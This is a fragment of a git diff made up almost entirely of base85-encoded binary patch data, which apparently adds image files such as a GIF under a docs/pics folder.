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
Y?YTQ@RyTp%bE%)}|L6Mu&sO;V0rZn9761SM

literal 0
HcmV?d00001

diff --git a/docs/pics/11548084848123.gif b/docs/pics/11548084848123.gif
new file mode 100644
index 0000000000000000000000000000000000000000..278e51f5b5b6d6709ed37b84aeb3e74194d4e685
GIT binary patch
literal 25600
zcmeFZ2UJw;x~03SNJY+2AYhR*5=1~n0m(rD5dlR>N=AZ`1T3J)NS2&)mYhM5oI#W%
zDhNtY$&xAV$M5gn|K6w19)0iaKHWWfudxPJ!m3)j);r&KKJ!yjQIwQ2J`cML+l3%v
z2qJ*N;V>8;4mlM)CkKb*g>$mkWv&^ht6Lb}eQ4us<LqPN9-;4<YU!8a;UD1}5E2j)
z9vTrF9}||J6j+`YU;Q$-q`W4-vL&asJGE&%t7A65Z?W{<X65^x`cHdp^ZOkO`#oO{
zh87RU77r&D52yaaJ`EmO`Vaf>mz_SlcsTj>VDih}#Qe{R`K`(M&H0tJ_05gVt*!0T
zZEJhu+xEutAGiPb@$-*u=kMF@?``k*w*PxOI5;>wJUsff9UuSt6WrfDKHkP+H?i0)
zEOrNrJ;MHVJO1N=!@oZCpWQw=Ir%^LDe%evhkyQm{dfNBXaB{A`E`*0U%ddlnDvDC
zx`NKlYqFXOqC&zrFbINJ_i=H1Abdyw+=fn169|EY>Is>Y%hKC?5!8Hld&)A}11Q*4
zla<ReJ429SRx>^2S>55NYr#w^71_PfJU0vP_EzNd#|fMEC972C4kk%Dt<3aR<_)LG
z_!2RzR^^XoDM#}e_Ei;(<!NTArl?jIzAMtJwEECjT{Q91s6Cijt)_UY(qgR8u)n6{
zeXad`Uy537>4!$wt(6b`wJ$%tLgNs#sMnRvwFgr3-y5hapYM)fS4&l|ulUj*FJ}F5
zpuTc(IQ?1(i$+7$@>u@OqI-i4)!!z{O#4$c8f$*MuXFnLaj>y=?Nh5S@!9K5bsO_N
z(fs#^n(DU}M>x08GR+M?zfD$JPqfTJK0jvLu_0?%!>0YMx4l{S&)$<h+@1W;o_4?a
zwK5BQ^V_H4SFcV^Abg%#G%lURtT%!yf7XZOLVUU>+Z?wy8I7*RoFDRGKC3?xAw1`g
z@<*BkoDH`49CR@v@N+P`d(Y<(hC;-AD2*cu!mz3=y$-v)vos$rgTK!nBu8ht5Gl`6
zun={Lt9Kz<?jqrr7->}%&KDOxBcj4?J6k@8yWvInHOeF`C_CWcb^V8lau40kCfbPB
zKTN*%T4gbTYNlWz+5Lj0d75kk!(1AAJi$Cec5^B((_Pd(FY7T;B6~*QCc-i~t|GxQ
zF)49sIX=ox#WF|8gDAJ)UYG%I;q8jxFVC@$SX8ZE6tb-pCRWqA^T#w^VOUYRJ7i^9
zir(SlE)QXQpI_mEUC}Cg9or|6(iJ5om^)#WXq!0Xj9XInZneH7Z$6AcD0OsmQc&sB
zkb7z58Xd!<m@laYkK(@By%j3h;&OjfbfP_VE&}Hy{-xq!DWh;{h2ovEaPqO~vN8hm
zn6eV$twe|TGiNWAH!`2o7g40Ax0HoLH0iDQjL(V}dLiV93_{RXMHYwTW-m@3-uZRe
z!JDs(Mf;f=Z5D>`Ia1CKsfT%J^~&l(5FDw4ZiN_Wq;uYq7|F;ETzxu|^H$xOl#`qQ
zIV(Q-@G7tPJ6+Qc7osib)2jwrUSG_|j>=_zfDo4sNb9OS2zqhg&(?UJjGNr(ZJ&V0
